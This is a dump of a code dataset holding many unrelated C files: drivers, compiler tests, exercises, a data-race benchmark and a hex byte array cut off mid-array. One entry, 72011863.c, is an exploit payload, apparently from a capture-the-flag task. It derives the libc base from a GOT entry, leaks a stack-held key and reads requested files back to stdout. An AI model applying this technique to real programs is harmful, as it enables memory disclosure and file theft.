file
stringlengths 18
26
| data
stringlengths 3
1.04M
|
---|---|
the_stack_data/6386934.c | /* PR tree-optimization/34618 */
/* { dg-do compile } */
/* { dg-options "-O3 -fmudflap" } */
int a[16];
void
foo ()
{
int i;
for (i = 0; i < 16; i++)
a[i] = i;
}
|
the_stack_data/4464.c | unsigned long next=1;
// Get a pseudo-random number in the range [0, max)
int
random(int max)
{
if (max == 0) return 0;
next = next * 1103515245 + 12345;
int rand = ((unsigned)(next/65536) % 32768);
return (rand % max+1) - 1;
} |
the_stack_data/140765070.c | /**
******************************************************************************
* @file stm32mp1xx_ll_lptim.c
* @author MCD Application Team
* @brief LPTIM LL module driver.
******************************************************************************
* @attention
*
* <h2><center>© Copyright (c) 2019 STMicroelectronics.
* All rights reserved.</center></h2>
*
* This software component is licensed by ST under BSD 3-Clause license,
* the "License"; You may not use this file except in compliance with the
* License. You may obtain a copy of the License at:
* opensource.org/licenses/BSD-3-Clause
*
******************************************************************************
*/
#if defined(USE_FULL_LL_DRIVER)
/* Includes ------------------------------------------------------------------*/
#include "stm32mp1xx_ll_lptim.h"
#include "stm32mp1xx_ll_bus.h"
#include "stm32mp1xx_ll_rcc.h"
#ifdef USE_FULL_ASSERT
#include "stm32_assert.h"
#else
#define assert_param(expr) ((void)0U)
#endif
/** @addtogroup STM32MP1xx_LL_Driver
* @{
*/
#if defined (LPTIM1) || defined (LPTIM2) || defined (LPTIM3) || defined (LPTIM4) || defined (LPTIM5)
/** @addtogroup LPTIM_LL
* @{
*/
/* Private types -------------------------------------------------------------*/
/* Private variables ---------------------------------------------------------*/
/* Private constants ---------------------------------------------------------*/
/* Private macros ------------------------------------------------------------*/
/** @addtogroup LPTIM_LL_Private_Macros
* @{
*/
#define IS_LL_LPTIM_CLOCK_SOURCE(__VALUE__) (((__VALUE__) == LL_LPTIM_CLK_SOURCE_INTERNAL) \
|| ((__VALUE__) == LL_LPTIM_CLK_SOURCE_EXTERNAL))
#define IS_LL_LPTIM_CLOCK_PRESCALER(__VALUE__) (((__VALUE__) == LL_LPTIM_PRESCALER_DIV1) \
|| ((__VALUE__) == LL_LPTIM_PRESCALER_DIV2) \
|| ((__VALUE__) == LL_LPTIM_PRESCALER_DIV4) \
|| ((__VALUE__) == LL_LPTIM_PRESCALER_DIV8) \
|| ((__VALUE__) == LL_LPTIM_PRESCALER_DIV16) \
|| ((__VALUE__) == LL_LPTIM_PRESCALER_DIV32) \
|| ((__VALUE__) == LL_LPTIM_PRESCALER_DIV64) \
|| ((__VALUE__) == LL_LPTIM_PRESCALER_DIV128))
#define IS_LL_LPTIM_WAVEFORM(__VALUE__) (((__VALUE__) == LL_LPTIM_OUTPUT_WAVEFORM_PWM) \
|| ((__VALUE__) == LL_LPTIM_OUTPUT_WAVEFORM_SETONCE))
#define IS_LL_LPTIM_OUTPUT_POLARITY(__VALUE__) (((__VALUE__) == LL_LPTIM_OUTPUT_POLARITY_REGULAR) \
|| ((__VALUE__) == LL_LPTIM_OUTPUT_POLARITY_INVERSE))
/**
* @}
*/
/* Private function prototypes -----------------------------------------------*/
/* Private functions ---------------------------------------------------------*/
/** @defgroup LPTIM_Private_Functions LPTIM Private Functions
* @{
*/
/**
* @}
*/
/* Exported functions --------------------------------------------------------*/
/** @addtogroup LPTIM_LL_Exported_Functions
* @{
*/
/** @addtogroup LPTIM_LL_EF_Init
* @{
*/
/**
* @brief Set LPTIMx registers to their reset values.
* @param LPTIMx LP Timer instance
* @retval An ErrorStatus enumeration value:
* - SUCCESS: LPTIMx registers are de-initialized
* - ERROR: invalid LPTIMx instance
*/
ErrorStatus LL_LPTIM_DeInit(LPTIM_TypeDef *LPTIMx)
{
ErrorStatus result = SUCCESS;
/* Check the parameters */
assert_param(IS_LPTIM_INSTANCE(LPTIMx));
if (LPTIMx == LPTIM1)
{
LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_LPTIM1);
LL_APB1_GRP1_ReleaseReset(LL_APB1_GRP1_PERIPH_LPTIM1);
}
else if (LPTIMx == LPTIM2)
{
LL_APB3_GRP1_ForceReset(LL_APB3_GRP1_PERIPH_LPTIM2);
LL_APB3_GRP1_ReleaseReset(LL_APB3_GRP1_PERIPH_LPTIM2);
}
else if (LPTIMx == LPTIM3)
{
LL_APB3_GRP1_ForceReset(LL_APB3_GRP1_PERIPH_LPTIM3);
LL_APB3_GRP1_ReleaseReset(LL_APB3_GRP1_PERIPH_LPTIM3);
}
else if (LPTIMx == LPTIM4)
{
LL_APB3_GRP1_ForceReset(LL_APB3_GRP1_PERIPH_LPTIM4);
LL_APB3_GRP1_ReleaseReset(LL_APB3_GRP1_PERIPH_LPTIM4);
}
else if (LPTIMx == LPTIM5)
{
LL_APB3_GRP1_ForceReset(LL_APB3_GRP1_PERIPH_LPTIM5);
LL_APB3_GRP1_ReleaseReset(LL_APB3_GRP1_PERIPH_LPTIM5);
}
else
{
result = ERROR;
}
return result;
}
/**
* @brief Set each fields of the LPTIM_InitStruct structure to its default
* value.
* @param LPTIM_InitStruct pointer to a @ref LL_LPTIM_InitTypeDef structure
* @retval None
*/
void LL_LPTIM_StructInit(LL_LPTIM_InitTypeDef *LPTIM_InitStruct)
{
/* Set the default configuration */
LPTIM_InitStruct->ClockSource = LL_LPTIM_CLK_SOURCE_INTERNAL;
LPTIM_InitStruct->Prescaler = LL_LPTIM_PRESCALER_DIV1;
LPTIM_InitStruct->Waveform = LL_LPTIM_OUTPUT_WAVEFORM_PWM;
LPTIM_InitStruct->Polarity = LL_LPTIM_OUTPUT_POLARITY_REGULAR;
}
/**
* @brief Configure the LPTIMx peripheral according to the specified parameters.
* @note LL_LPTIM_Init can only be called when the LPTIM instance is disabled.
* @note LPTIMx can be disabled using unitary function @ref LL_LPTIM_Disable().
* @param LPTIMx LP Timer Instance
* @param LPTIM_InitStruct pointer to a @ref LL_LPTIM_InitTypeDef structure
* @retval An ErrorStatus enumeration value:
* - SUCCESS: LPTIMx instance has been initialized
* - ERROR: LPTIMx instance hasn't been initialized
*/
ErrorStatus LL_LPTIM_Init(LPTIM_TypeDef *LPTIMx, LL_LPTIM_InitTypeDef *LPTIM_InitStruct)
{
ErrorStatus result = SUCCESS;
/* Check the parameters */
assert_param(IS_LPTIM_INSTANCE(LPTIMx));
assert_param(IS_LL_LPTIM_CLOCK_SOURCE(LPTIM_InitStruct->ClockSource));
assert_param(IS_LL_LPTIM_CLOCK_PRESCALER(LPTIM_InitStruct->Prescaler));
assert_param(IS_LL_LPTIM_WAVEFORM(LPTIM_InitStruct->Waveform));
assert_param(IS_LL_LPTIM_OUTPUT_POLARITY(LPTIM_InitStruct->Polarity));
/* The LPTIMx_CFGR register must only be modified when the LPTIM is disabled
(ENABLE bit is reset to 0).
*/
if (LL_LPTIM_IsEnabled(LPTIMx) == 1UL)
{
result = ERROR;
}
else
{
/* Set CKSEL bitfield according to ClockSource value */
/* Set PRESC bitfield according to Prescaler value */
/* Set WAVE bitfield according to Waveform value */
/* Set WAVEPOL bitfield according to Polarity value */
MODIFY_REG(LPTIMx->CFGR,
(LPTIM_CFGR_CKSEL | LPTIM_CFGR_PRESC | LPTIM_CFGR_WAVE | LPTIM_CFGR_WAVPOL),
LPTIM_InitStruct->ClockSource | \
LPTIM_InitStruct->Prescaler | \
LPTIM_InitStruct->Waveform | \
LPTIM_InitStruct->Polarity);
}
return result;
}
/**
* @}
*/
/**
* @}
*/
/**
* @brief Disable the LPTIM instance
* @rmtoll CR ENABLE LL_LPTIM_Disable
* @param LPTIMx Low-Power Timer instance
* @note The following sequence is required to solve LPTIM disable HW limitation.
* Please check Errata Sheet ES0335 for more details under "MCU may remain
* stuck in LPTIM interrupt when entering Stop mode" section.
* @retval None
*/
void LL_LPTIM_Disable(LPTIM_TypeDef *LPTIMx)
{
LL_RCC_ClocksTypeDef rcc_clock;
uint32_t tmpclksource = 0;
uint32_t tmpIER;
uint32_t tmpCFGR;
uint32_t tmpCMP;
uint32_t tmpARR;
uint32_t tmpCFGR2;
/* Check the parameters */
assert_param(IS_LPTIM_INSTANCE(LPTIMx));
__disable_irq();
/********** Save LPTIM Config *********/
/* Save LPTIM source clock */
switch ((uint32_t)LPTIMx)
{
case LPTIM1_BASE:
tmpclksource = LL_RCC_GetLPTIMClockSource(LL_RCC_LPTIM1_CLKSOURCE);
break;
case LPTIM2_BASE:
tmpclksource = LL_RCC_GetLPTIMClockSource(LL_RCC_LPTIM23_CLKSOURCE);
break;
case LPTIM3_BASE:
tmpclksource = LL_RCC_GetLPTIMClockSource(LL_RCC_LPTIM23_CLKSOURCE);
break;
case LPTIM4_BASE:
case LPTIM5_BASE:
tmpclksource = LL_RCC_GetLPTIMClockSource(LL_RCC_LPTIM45_CLKSOURCE);
break;
default:
break;
}
/* Save LPTIM configuration registers */
tmpIER = LPTIMx->IER;
tmpCFGR = LPTIMx->CFGR;
tmpCMP = LPTIMx->CMP;
tmpARR = LPTIMx->ARR;
tmpCFGR2 = LPTIMx->CFGR2;
/************* Reset LPTIM ************/
(void)LL_LPTIM_DeInit(LPTIMx);
/********* Restore LPTIM Config *******/
LL_RCC_GetSystemClocksFreq(&rcc_clock);
if ((tmpCMP != 0UL) || (tmpARR != 0UL))
{
/* Force LPTIM source kernel clock from APB */
switch ((uint32_t)LPTIMx)
{
case LPTIM1_BASE:
LL_RCC_SetLPTIMClockSource(LL_RCC_LPTIM1_CLKSOURCE_PCLK1);
break;
case LPTIM2_BASE:
LL_RCC_SetLPTIMClockSource(LL_RCC_LPTIM23_CLKSOURCE_PCLK3);
break;
case LPTIM3_BASE:
LL_RCC_SetLPTIMClockSource(LL_RCC_LPTIM23_CLKSOURCE_PCLK3);
break;
case LPTIM4_BASE:
case LPTIM5_BASE:
LL_RCC_SetLPTIMClockSource(LL_RCC_LPTIM45_CLKSOURCE_PCLK3);
break;
default:
break;
}
if (tmpCMP != 0UL)
{
/* Restore CMP and ARR registers (LPTIM should be enabled first) */
LPTIMx->CR |= LPTIM_CR_ENABLE;
LPTIMx->CMP = tmpCMP;
/* Polling on CMP write ok status after above restore operation */
do
{
rcc_clock.MCU_Frequency--; /* Used for timeout */
} while (((LL_LPTIM_IsActiveFlag_CMPOK(LPTIMx) != 1UL)) && ((rcc_clock.MCU_Frequency) > 0UL));
LL_LPTIM_ClearFlag_CMPOK(LPTIMx);
}
if (tmpARR != 0UL)
{
LPTIMx->CR |= LPTIM_CR_ENABLE;
LPTIMx->ARR = tmpARR;
LL_RCC_GetSystemClocksFreq(&rcc_clock);
/* Polling on ARR write ok status after above restore operation */
do
{
rcc_clock.MCU_Frequency--; /* Used for timeout */
} while (((LL_LPTIM_IsActiveFlag_ARROK(LPTIMx) != 1UL)) && ((rcc_clock.MCU_Frequency) > 0UL));
LL_LPTIM_ClearFlag_ARROK(LPTIMx);
}
/* Restore LPTIM source kernel clock */
LL_RCC_SetLPTIMClockSource(tmpclksource);
}
/* Restore configuration registers (LPTIM should be disabled first) */
LPTIMx->CR &= ~(LPTIM_CR_ENABLE);
LPTIMx->IER = tmpIER;
LPTIMx->CFGR = tmpCFGR;
LPTIMx->CFGR2 = tmpCFGR2;
__enable_irq();
}
/**
* @}
*/
#endif /* LPTIM1 || LPTIM2 || LPTIM3 || LPTIM4 || LPTIM5 */
/**
* @}
*/
#endif /* USE_FULL_LL_DRIVER */
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
|
the_stack_data/72011863.c | #include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>
typedef int (*read_fn)(int, void*, size_t);
typedef int (*open_fn)(const char *, int, mode_t);
typedef int (*close_fn)(int);
typedef int (*system_fn)(const char *);
typedef void *(*malloc_fn)(size_t);
typedef pid_t (*fork_fn)(void);
typedef int (*execl_fn)(const char *, const char *, const char *);
typedef pid_t (*waitpid_fn)(pid_t, int *, int);
const intptr_t read_offset = 0x0111130;
const intptr_t write_offset = 0x01111d0;
const intptr_t open_offset = 0x0110e50;
const intptr_t close_offset = 0x0111970;
const intptr_t malloc_offset = 0x009d260;
const intptr_t fork_offset = 0x00e6070;
const intptr_t execl_offset = 0x00e6680;
const intptr_t waitpid_offset = 0x00e5d70;
const intptr_t exit_offset = 0x0049bc0;
void exploit(void) {
register long rsp asm("rsp");
void *keyAddr = (void *)*(intptr_t *)(rsp + 0x30+0x18+0x20+0x78);
intptr_t read_addr = *(intptr_t *)(0x404040);
intptr_t libc_base = read_addr - read_offset;
read_fn _read = (read_fn)read_addr;
read_fn _write = (read_fn)(libc_base + write_offset);
open_fn _open = (open_fn)(libc_base + open_offset);
close_fn _close = (close_fn)(libc_base + close_offset);
malloc_fn _malloc = (malloc_fn)(libc_base + malloc_offset);
close_fn _exit = (close_fn)(libc_base + exit_offset);
//fork_fn _fork = (fork_fn)(libc_base + fork_offset);
//execl_fn _execl = (execl_fn)(libc_base + execl_offset);
//waitpid_fn _waitpid = (waitpid_fn)(libc_base + waitpid_offset);
_write(1, keyAddr, 64);
// Read flag file name
while(1) {
char *file = _malloc(32);
int total = 0;
while(total < 32)
total += _read(0, file+total, 32-total);
// open and read and report the flag
int fd = _open(file, O_RDONLY, 0);
if (fd < 0){
while(1) {}
}
char *flag = _malloc(512);
int flag1Len = _read(fd, flag, 512);
_close(fd);
if (-1 == _write(1, flag, 512)) {
break;
}
}
_exit(0);
while(1);
}
|
the_stack_data/242331653.c | /*
* Copyright (c) 2021 Síle Ekaterin Liszka All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDERS AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
* INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
* OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <errno.h>
#include <stdbool.h>
#include <stdio.h>
#include <string.h>
long parse_int(const char *str, size_t length) {
// the longest possible signed long is 17+NUL characters
long val = 0;
errno = 0;
for (size_t i = 0; i < length; i++) {
val *= 10;
if ((str[i] > '9') || (str[i] < '0')) {
errno = EINVAL;
return -1;
}
val += str[i] - '0';
}
return val;
}
int main(void) {
FILE *data = fopen("data.txt", "r");
char *line = NULL;
size_t linecap = 0;
ssize_t linelen;
long p1 = 0, p2 = 0, p3 = 0, previous = 0;
int inc = 0;
if (data == NULL) {
printf("Unable to open data: %s\n", strerror(errno));
return -errno;
}
while ((linelen = getline(&line, &linecap, data)) > 0) {
long num = parse_int(line, linelen - 1);
p1 = p2;
p2 = p3;
p3 = num;
if ((p1 + p2 + p3) > previous) {
inc++;
}
previous = p1 + p2 + p3;
}
printf("Depth has increased %d times.\n", inc - 2);
return 0;
}
|
the_stack_data/11534.c | #include <stdio.h>
void main () {
int A[10] = { 1, 2 , 3, 4, 5, 6, 7, 8, 9, 10 };
int B[10] = { 5, 6 , 1, 2, 4, 6, 3, 8, 0, 11 };
int C[10], i, j;
for (i = 0; i < 10; i++) {
C[i] = A[i] - B[i];
}
printf("[\n");
for (i = 0; i < 10; i++) {
printf("%i - %i = %i\n", A[i], B[i], C[i]);
}
printf("]\n");
}
|
the_stack_data/119085.c | /*
Copyright (c) 2017, Lawrence Livermore National Security, LLC.
Produced at the Lawrence Livermore National Laboratory
Written by Chunhua Liao, Pei-Hung Lin, Joshua Asplund,
Markus Schordan, and Ian Karlin
(email: [email protected], [email protected], [email protected],
[email protected], [email protected])
LLNL-CODE-732144
All rights reserved.
This file is part of DataRaceBench. For details, see
https://github.com/LLNL/dataracebench. Please also see the LICENSE file
for our additional BSD notice.
Redistribution and use in source and binary forms, with
or without modification, are permitted provided that the following
conditions are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the disclaimer below.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the disclaimer (as noted below)
in the documentation and/or other materials provided with the
distribution.
* Neither the name of the LLNS/LLNL nor the names of its contributors
may be used to endorse or promote products derived from this
software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND
CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL LAWRENCE LIVERMORE NATIONAL
SECURITY, LLC, THE U.S. DEPARTMENT OF ENERGY OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
THE POSSIBILITY OF SUCH DAMAGE.
*/
/*
The outer loop has a loop-carried true dependence.
Data race pair: b[i][j]@69:7 vs. b[i-1][j-1]@69:15
*/
#include <stdlib.h>
int main(int argc, char* argv[])
{
int i,j;
int len = 1000;
if (argc>1)
len = atoi(argv[1]);
int n=len, m=len;
double b[len][len];
#pragma omp parallel for private(i ,j )
for (i=0; i<n; i++)
#pragma omp parallel for private(j )
for (j=0; j<m; j++)
b[i][j] = 0.5;
for (i=1;i<n;i++)
#pragma omp parallel for private(j )
for (j=1;j<m;j++)
b[i][j]=b[i-1][j-1];
for (i=0; i<n; i++)
for (j=0; j<m; j++)
printf("%lf\n",b[i][j]);
return 0;
}
|
the_stack_data/36272.c | #include <stdio.h>
int majorityElement(int num[], int n) {
int major;
int i;
major = num[0];
int count = 1;
for (i = 1; i < n; i++) {
if (num[i] == major) count ++;
else count --;
if (count == 0) {
major = num[i];
count = 1;
}
}
return major;
}
int main() {
int num1[] = { 1, 2, 2, 3, 3, 3, 3, 4};
int num2[] = { 4, 5, 4};
printf("%d\n", majorityElement(num1, sizeof(num1)/sizeof(num1[0])));
printf("%d\n", majorityElement(num2, sizeof(num2)/sizeof(num2[0])));
return 0;
}
|
the_stack_data/159516151.c | /*Leia o salário de funcionários de uma empresa, calcule e escreva o novo salário (segundo os
critérios descritos abaixo), a soma dos salários atuais, a soma dos salários reajustados e a
diferença entre as 2 somas. (Flag: salário=0)*/
#include <stdio.h>
int main(){
float salarioAntigo,salarioNovo, diferenca;
float somaAtual = 0;
float somaAntiga = 0;
printf("Informe o salário: ");
scanf("%f",&salarioAntigo);
while(salarioAntigo != 0){
if(salarioAntigo >= 0 && salarioAntigo < 3000){
salarioNovo = salarioAntigo + (salarioAntigo * 0.25);
printf("\nO novo salário é: %0.2f",salarioNovo);
}else if(salarioAntigo >= 3000 && salarioAntigo < 6000){
salarioNovo = salarioAntigo + (salarioAntigo * 0.2);
printf("\nO novo salário é: %0.2f",salarioNovo);
}else if(salarioAntigo >= 6000 && salarioAntigo < 10000){
salarioNovo = salarioAntigo + (salarioAntigo * 0.15);
printf("\nO novo salário é: %0.2f",salarioNovo);
}else{
salarioNovo = salarioAntigo + (salarioAntigo * 0.1);
printf("\nO novo salário é: %0.2f",salarioNovo);
};
somaAtual = somaAtual + salarioNovo;
somaAntiga = somaAntiga + salarioAntigo;
printf("\n\nInforme o salário: ");
scanf("%f",&salarioAntigo);
};
diferenca = somaAtual - somaAntiga;
printf("\nSoma do salario antigo é: %0.2f",somaAntiga);
printf("\nSoma do salario reajustado é: %0.2f",somaAtual);
printf("\nA diferença entre o salario antigo e o atual é: %0.2f",diferenca);
return 0;
}; |
the_stack_data/6937.c | #include <stdio.h>
int fileno(FILE *f)
{
return (f - stdin);
}
|
the_stack_data/813115.c | #include <stdint.h>
/* A one-bit mask at bit n */
#define BIT(n) (1ULL << (n))
/* An n-bit mask, beginning at bit 0 */
#define MASK(n) (BIT(n) - 1)
/* An n-bit field selector, beginning at bit m */
#define FIELD(m,n,x) (((x) >> m) & MASK(n))
static inline uint64_t
read_clidr_el1(void) {
uint64_t clidr_el1;
__asm volatile("mrs %[clidr_el1], clidr_el1" :
[clidr_el1] "=r" (clidr_el1));
return clidr_el1;
}
static inline uint64_t
read_ccsidr_el1(void) {
uint64_t ccsidr_el1;
__asm volatile("mrs %[ccsidr_el1], ccsidr_el1" :
[ccsidr_el1] "=r" (ccsidr_el1));
return ccsidr_el1;
}
static inline void
write_csselr_el1(int level, int instruction) {
/* Register format:
* 31 4 | 3 1 | 0
* RES0 | level | instruction
*/
uint64_t x= (instruction & 0x1) | ((level & 0x7) << 1);
__asm volatile("msr csselr_el1, %0" : : "r" (x));
}
#define CTYPE(n,x) FIELD(3 * (n-1), 3 * (n-1) + 2, x)
enum armv8_cache_type {
ARMv8_CACHE_NONE = 0,
ARMv8_CACHE_IONLY = 1,
ARMv8_CACHE_DONLY = 2,
ARMv8_CACHE_ID = 3,
ARMv8_CACHE_UNIFIED = 4,
};
static inline int
clz(uint64_t x) {
int r;
__asm volatile("clz %[r], %[x]" : [r] "=r"(r) : [x] "r"(x));
return r;
}
static inline int
log2i(uint64_t x) {
return 64 - clz(x-1);
}
void
invalidate_caches(void) {
uint64_t clidr= read_clidr_el1();
int loc= FIELD(24, 26, clidr);
/* Invalidate all instruction caches to point of unification. */
__asm volatile("ic iallu");
/* Invalidate all data caches up to the point of coherence. */
for(int level= 1; level <= loc; level++) {
int ctype= CTYPE(level, clidr);
/* Only worry about levels with a data cache. */
if(ctype == ARMv8_CACHE_DONLY ||
ctype == ARMv8_CACHE_ID ||
ctype == ARMv8_CACHE_UNIFIED) {
/* Read the data cache size & associativity. */
write_csselr_el1(level-1, 0);
uint64_t ccsidr= read_ccsidr_el1();
int sets= FIELD(13, 15, ccsidr) + 1,
assoc= FIELD( 3, 10, ccsidr) + 1,
linebits= FIELD( 0, 3, ccsidr) + 4;
/* Calculate the field offsets for the invalidate operation. */
int setbits= log2i(sets),
assocbits= log2i(assoc);
for(int w= 0; w < assoc; w++) {
for(int s= 0; s < sets; s++) {
uint64_t op=
((w & MASK(assocbits)) << (32-assocbits)) |
((s & MASK(setbits)) << linebits) |
((level & MASK(3)) << 1);
__asm volatile("dc isw, %[op]" : : [op] "r" (op));
}
}
}
}
}
|
the_stack_data/153267136.c | //file auto-generated from demo.pmp by bin2h.exe
unsigned int demo_pmp_len = 27301;
const unsigned char demo_pmp[27301]=
{
0x1B,0x00,0x1A,0x00,0xFF,0xFF,0x00,0x00,0x09,0x00,0x43,
0x56,0x61,0x72,0x69,0x61,0x62,0x6C,0x65,0x05,0x76,0x61,
0x72,0x31,0x36,0x04,0x75,0x6E,0x69,0x74,0xC8,0x00,0x00,
0x00,0x05,0x76,0x61,0x72,0x31,0x36,0x32,0x0D,0x00,0x20,
0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x0C,0x6E,0x6F,0x20,0x6D,0x61,0x73,0x6B,0x20,0x28,
0x2D,0x31,0x29,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x07,0x75,0x6E,0x6B,0x6E,0x6F,0x77,0x6E,
0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,
0xFF,0xFF,0x7F,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0x7F,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,
0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x88,0x13,0x00,0x00,
0x01,0x80,0x08,0x76,0x61,0x72,0x31,0x36,0x69,0x6E,0x63,
0x04,0x75,0x6E,0x69,0x74,0xE8,0x03,0x00,0x00,0x08,0x76,
0x61,0x72,0x31,0x36,0x69,0x6E,0x63,0x06,0x04,0x00,0x20,
0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x0C,0x6E,0x6F,0x20,0x6D,0x61,0x73,0x6B,0x20,0x28,
0x2D,0x31,0x29,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x07,0x75,0x6E,0x6B,0x6E,0x6F,0x77,0x6E,
0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,
0xFF,0xFF,0x7F,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0x7F,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,
0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x88,0x13,0x00,0x00,
0x01,0x80,0x07,0x76,0x61,0x72,0x31,0x36,0x72,0x77,0x04,
0x75,0x6E,0x69,0x74,0xE8,0x03,0x00,0x00,0x07,0x76,0x61,
0x72,0x31,0x36,0x72,0x77,0x30,0x0D,0x00,0x20,0x02,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0C,
0x6E,0x6F,0x20,0x6D,0x61,0x73,0x6B,0x20,0x28,0x2D,0x31,
0x29,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x07,0x75,0x6E,0x6B,0x6E,0x6F,0x77,0x6E,0x01,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,
0x7F,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0x7F,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,
0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x01,0x00,0x00,0x00,0x88,0x13,0x00,0x00,0x01,0x80,
0x05,0x76,0x61,0x72,0x33,0x32,0x04,0x75,0x6E,0x69,0x74,
0xC8,0x00,0x00,0x00,0x05,0x76,0x61,0x72,0x33,0x32,0x2C,
0x0D,0x00,0x20,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x0C,0x6E,0x6F,0x20,0x6D,0x61,0x73,
0x6B,0x20,0x28,0x2D,0x31,0x29,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x07,0x75,0x6E,0x6B,0x6E,
0x6F,0x77,0x6E,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0xFF,0xFF,0xFF,0x7F,0x00,0x00,0x00,0x00,0xFF,
0xFF,0xFF,0x7F,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,
0x00,0x00,0x01,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x01,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x88,
0x13,0x00,0x00,0x01,0x80,0x08,0x76,0x61,0x72,0x33,0x32,
0x69,0x6E,0x63,0x04,0x75,0x6E,0x69,0x74,0xE8,0x03,0x00,
0x00,0x08,0x76,0x61,0x72,0x33,0x32,0x69,0x6E,0x63,0x08,
